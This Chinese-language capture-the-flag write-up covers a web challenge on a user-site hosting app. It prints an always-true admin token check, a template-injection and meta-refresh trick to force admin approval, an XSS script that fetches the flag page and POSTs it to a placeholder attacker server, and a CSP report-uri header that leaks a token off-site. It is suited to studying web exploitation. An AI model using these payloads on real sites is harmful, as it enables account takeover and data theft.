part 1
在此题目中,我们可以指定html与标头
<sCrIpt>alert(1)</ScRipt>
A5rz: A5rz
服务器会返回如下内容
HTTP/1.1 200 OK
X-Powered-By: Express
A5rz: A5rz
Content-Type: text/html; charset=utf-8
Content-Length: 619
ETag: W/"26b-14GnlO+yaaXJ3CEkd0rBJ/mmY8g"
Date: Mon, 23 Jun 2025 01:56:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
<title>User made site hosted on our Free Parking Network</title>
</head>
<body>
<a href="/approve/a0d9faca7b6600e81d51347556a093e5/">Approve this site</a>
<sCrIpt>alert(1)</ScRipt>
</body>
</html>
我们发现返回中存在一个严格的标签使得我们无法执行
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
继续查看发现此标签来自这段代码
// 提供上传的HTML和自定义头部
sessionRouter.get('/site/:id', async (req, res) => {
try {
// 根据ID获取网站信息
const site = await db.getSiteById(req.params.id);
if (!site) return res.status(404).send('Not found');
// 设置自定义HTTP头部
if (site.headers){
site.headers.split("\n").forEach(header => {
const [key, ...rest] = header.split(":");
const value = rest.join(":");
if (key && value) {
res.setHeader(key.trim(), value.trim());
}
});
}
// 设置内容类型
res.setHeader('Content-Type', 'text/html; charset=utf-8');
// 检查访问权限
if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {
return res.status(403).send('This site is not approved yet. Please wait for admin approval.');
}
// 处理批准令牌
approveToken = "";
if (req.session.userId === 0) approveToken = site.approveToken;
// 处理内容安全策略
CSP = "";
if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';
console.log(`Serving site ${site.id} with owner ${site.owner} and approved status ${site.approved}`);
// 渲染HTML模板
html = hosting_template
.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND')
.replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?')
.replaceAll("{{site.approveToken}}", approveToken)
.replaceAll("{{CSP}}", CSP);
res.send(html);
} catch (e) {
console.error(e);
res.status(500).send('Internal error');
}
});
如果用户拥有damin权限则不会有此限制
// 管理员登录端点
noSessionRouter.get('/admin/login', async (req, res, next) => {
let adminToken = req.query.adminToken;
// 验证管理员令牌
if (req.query.adminToken !== adminToken) {
res.send("Token is wrong");
return;
}
// 设置管理员会话
req.session.returning = true;
req.session.userId = 0;
res.sendStatus(200);
});
flag在flag网站中,但是此网站是未被批准的
// 网站批准端点
sessionRouter.get("/approve/:siteId/:approveToken", async (req, res) => {
let siteId = req.params.siteId;
let approveToken = req.params.approveToken;
// 获取网站信息
site = await db.getSiteById(siteId);
// 检查批准令牌是否有效
if (approveToken !== site.approveToken) {
res.send("Invalid approval token");
return;
}
// 批准网站
await db.approveSite(siteId);
res.send("Site approved");
});
此处还存在类似模板注入的漏洞。
// 渲染HTML模板
html = hosting_template
.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND')
.replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?')
.replaceAll("{{site.approveToken}}", approveToken)
.replaceAll("{{CSP}}", CSP);
题目中存在一个明显的漏洞,导致任何人都可以是admin
noSessionRouter.get('/admin/login', async (req, res, next) => {
let adminToken = req.query.adminToken;
if (req.query.adminToken !== adminToken) {
res.send("Token is wrong");
return;
}
req.session.returning = true;
req.session.userId = 0;
res.sendStatus(200);
});
/admin/login?adminToken=1
part 2
修复了任何人都可以是admin的问题
方案1
Trick:
<meta>
可用于强制跳转,结合之前的"模板注入",可以强制让admin审批我们的网站,取消我们网站的xss限制
<meta http-equiv="refresh" content="1; url=/approve/{{site.id}}/{{site.approveToken}}">
/review/:siteId
然后我们可以带出token,让管理员审批/flag
<script>
fetch('/site/flag')
.then(r => r.text())
.then(data =>
fetch('xss服务器', {
method: 'POST',
body: data
})
)
</script>
方案2
Content-Security-Policy
(CSP) 的report-uri
指令是一个用于收集违反CSP策略报告的机制。它本身不阻止浏览器加载被禁止的资源或执行被禁止的脚本,而是将违规行为详细记录下来,发送到你指定的服务器端点。
Content-Security-Policy: default-src *; style-src 'report-sample'; script-src 'unsafe-inline'; report-uri xss服务器url;
这允许我们构造故意的错误,向外部服务器泄露错误的详细信息
<style>
{{site.approveToken}}
</style>